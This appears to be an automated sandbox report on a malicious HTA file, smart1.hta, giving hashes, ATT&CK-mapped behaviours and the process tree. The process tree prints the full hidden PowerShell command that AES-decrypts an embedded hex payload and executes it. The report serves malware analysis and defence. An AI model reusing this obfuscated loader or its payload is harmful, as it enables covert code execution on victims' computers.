aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438

General

Target

smart1.hta
Size

162KB
MD5

e779ad7fcdc079af0012414407e2e892
SHA1

752c018c3be78f9fb25587d6452f2f6b0d9cd3a2
SHA256

aaa862c14154374b00e16f2440dabfcb9c8b7ca6655942530c83a6c96c065438
SHA512

ad8813afdacfc7d0b462aa011523861d393dd752af580358b81cafe408cc89ad9e0a64cbf886c61757cfb30a3cec8b3cc1ce3bdf4372d24a5d1c04a80b4f3db0
SSDEEP

3072:088nbom5xIAb88nbom5xIAY88nbom5xIAo88nbom5xIA:ByxH6yxHNyxHdyxH

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1952	powershell.exe
5	1952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1952	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 1952	2780	mshta.exe	30
PID 2780 wrote to memory of 1952	2780	mshta.exe	30
PID 2780 wrote to memory of 1952	2780	mshta.exe	30
PID 2780 wrote to memory of 1952	2780	mshta.exe	30

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\smart1.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function fUUeIY($lrWzRn){return -split ($lrWzRn -replace '..', '0x$& ')};$FGCBsqZ = fUUeIY('08FD478788FD182E0D6A1297D93DACE694080CD7F35ADBE558CD7FBB26FB97CEF183BDC57B0782D2B310E50E9538F222218DAF2B5F0E61D9ADB34F76264C3C66C4FEABD1821E62EAD18B77FD172B17ECBAD2DDC3ECAB5642717B8F464BA00D90A0784154C8629D02179DA9B180F3781539C31AB37867F1C66AABA360A06DF2C2B35354B861395E34DF7A54434AB6F1524289CE6BA2AEE554C7D088A2BD34C7CFE4BE71DB90304E0DDBEC5C891AB135328DB0B3445C7A274667ECEA7166CE851718F520C05B8F68C1973471420FA9A9B02DE9BCD937464936741A859E9F88712A86E973BE67B43C7654010A114284698E85675BF3F408CBC0ADC0A5804E4D9A917FDA8D126DD6FDDEF79FF312B55099E3677E88C5CC51754000AABAD387DD7BD65CC78F68BE3FBA4D94E8CE87B0F790DDCA87540ACBF8166F48AD0086D2EDA5394E16C4A7679B8CEEB745A8C545CD148C06CC2C5A09AA9CC6469AD640061435C77E45E0CE3B1DDB0936FEF91858B2A3D608429A7F39D986595A35E9ECE74FE663C8E7D857E779004FA5AB393A609D450C4DF7EA77F0BBC2E548E712D804A47EFAEE269EEAF19FF4BA7A2E7BEE957A26AAB13695F858DD6BB5A340C2CEFB1E35B422EA6F57F5C88F3D3FC1486F497C0E8C1A4DF8E465319931B8161DCABC3EE9797EECF86AADB519097F90903A13EF068A5E603B5A861CD9886FCD92AFA622F92DB0E4F14E46DF13EC8D95C63E19E74F71924D72EAA971F41A9A6399D9EF65DE7DD16CBA871A8F1F1D8822ED8040E78E16C3E5232C80C361E4F41C46E87E061AE2BF0139E3C39FB1022398C54980F5D6ADFCAF3D17CADE553BEAA76A8D18E05AD505982913891A83B8934C2EBBD75BA6A408AAB72216AC0E735D644CF2D5F67605A0FC8929AD569B79002EEAA21701B0321230F0A0809C7FB51A46BD1ABECD92825349CC02861904FAFDE7A83C29598432DECA7C4A40B6A764E58FF811E0554E57AE64F8025CBA4286E1BCB741FCB1971DF9A16072E161CBD9150C18675D2A10794DE1DD2DB8903E9E8CE2342DB0D6ECB9A5B7743167B1B954CFCF564C2792DEE76CF4D4616D8CA8AB5A57307E79B95766E8AFB66600EB27BD6C56920B5852D4317EEA2025ABC60AF46FE117F3A988FF3C73DAF3C2D13FCAFA3A97F5A276CB11B4E57106A500F47040089F99C31749EB15778D452D80F7A3D0BE5087A618E411E97063841B046BB11F7E623056420EF838F4880A89743A375971C214C0260377A92D85E3ADD8BFE2991F6CA44F54949400C8248872973E9AE771937ABBE320166A0BE7E30620D088BB8192C40CBA2E457F577096559BF141CCBD3AA25E5ADA6F45958D2BCD6C0B047545BAA0D53B5A8608F585966668F7BCDB926421F8AA38184E2BE41C0CEE2A7C183C71D5E0091773A1337D292B3BC1B32C766CED4D9896DA0ECFBCD8E2FE21388F06CBACB282FABCE4DDBA921FE5529F378977716CF8B7164B116B2176C01C9A5340F8303C8D471A97627068C8D3FF3446062A857A52C429A4423E2E56C97ADB7CA3D773600AB1251901248A570FE9F556B6E775248C3FDAF052643CB9F16F1B7153ED12FAF60D9976');$mmXhH = [System.Security.Cryptography.Aes]::Create();$mmXhH.Key = fUUeIY('596C6F47555751725873557067474F55');$mmXhH.IV = New-Object byte[] 16;$jttVgzHn = $mmXhH.CreateDecryptor();$enAWQWiVe = $jttVgzHn.TransformFinalBlock($FGCBsqZ, 0, $FGCBsqZ.Length);$BMbsFEMTg = [System.Text.Encoding]::Utf8.GetString($enAWQWiVe);$jttVgzHn.Dispose();& $BMbsFEMTg.Substring(0,3) $BMbsFEMTg.Substring(3)
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabC65D.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

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C:\Users\Admin\AppData\Local\Temp\TarC67F.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit

Analysis

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